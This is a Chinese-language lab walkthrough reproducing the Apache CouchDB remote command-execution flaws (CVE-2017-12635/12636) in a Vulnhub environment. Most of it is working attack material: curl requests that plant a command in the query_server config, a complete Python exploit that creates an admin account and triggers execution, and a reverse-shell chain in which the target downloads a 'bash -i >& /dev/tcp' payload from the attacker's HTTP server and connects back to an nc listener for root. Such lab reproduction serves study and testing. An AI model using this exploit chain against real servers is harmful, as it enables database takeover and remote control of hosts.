利用Vulnhub復現漏洞 - Couchdb 任意命令執行

漏洞原理：
Apache CouchDB是一個開源數據庫，專注于易用性和成為"完全擁抱web的數據庫"。它是一個使用JSON作為存儲格式，JavaScript作為查詢語言，MapReduce和HTTP作為API的NoSQL數據庫。應用廣泛，如BBC用在其動態內容展示平臺，Credit Suisse用在其內部的商品部門的市場框架，Meebo，用在其社交平臺（web和應用程序）。

在2017年11月15日，CVE-2017-12635和CVE-2017-12636披露，CVE-2017-12636是一個任意命令執行漏洞，我們可以通過config api修改couchdb的配置query_server，這個配置項在設計、執行view的時候將被運行。

漏洞復現：
1、新增query_server配置，寫入要執行的命令；
curl -X PUT 'http://pppp:pppp@靶機ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
紅箭頭的是自己創建的賬號和密碼，下面顯示我的已經有了。

2、新建一個臨時庫和臨時表，插入一條記錄；
①curl -X PUT 'http://pppp:pppp@靶機ip:5984/oll'
②curl -X PUT 'http://pppp:pppp@靶機ip:5984/oll/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
紅箭頭指的是自己創建的表

3.調用query_server處理數據
curl -X PUT http://pppp:pppp@靶機ip:5984/oll/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"

執行EXP反彈Shell：
1.反彈腳本：在home下面創建個index.html。添以下內容
bash -i >& /dev/tcp/172.16.11.2/9000 0>&1
紅箭頭指的是本機ip

2.另起一個終端，在home下執行 python -m SimpleHTTPServer 8000

3.創建一個exp.py的腳本，如下：
#!/usr/bin/env python3
import requests
from requests.auth import HTTPBasicAuth

target = 'http://192.168.8.148:5984'
command = '"bash -i >& /dev/tcp/192.168.8.148/4444 0>&1"'
version = 2

session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
#session.proxies = {
#'http': 'http://127.0.0.1:8085'
#}
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')

session.auth = HTTPBasicAuth('wooyun', 'wooyun')

if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=command)
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=command)

session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')

if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

4.修改exp.py中command的值為：curl 172.16.11.2:8000 -o /tmp/bashell 保存并執行命令 python exp.py。
這個時候可以看見HTTP服務成功監聽到下載請求

5.再重新打開一個終端，并監聽著 nc -lnvp 9000 ,監聽本地9000端口

6.修改 exp.py 中的 command 的值為 bash /tmp/bashell ,保存并執行命令 python exp.py ,成功獲取反彈回來的Shell

target的ip為靶機ip（一定要寫對，別學本人ip寫錯，發愁一天）

7.這樣就成功了。

獲得root。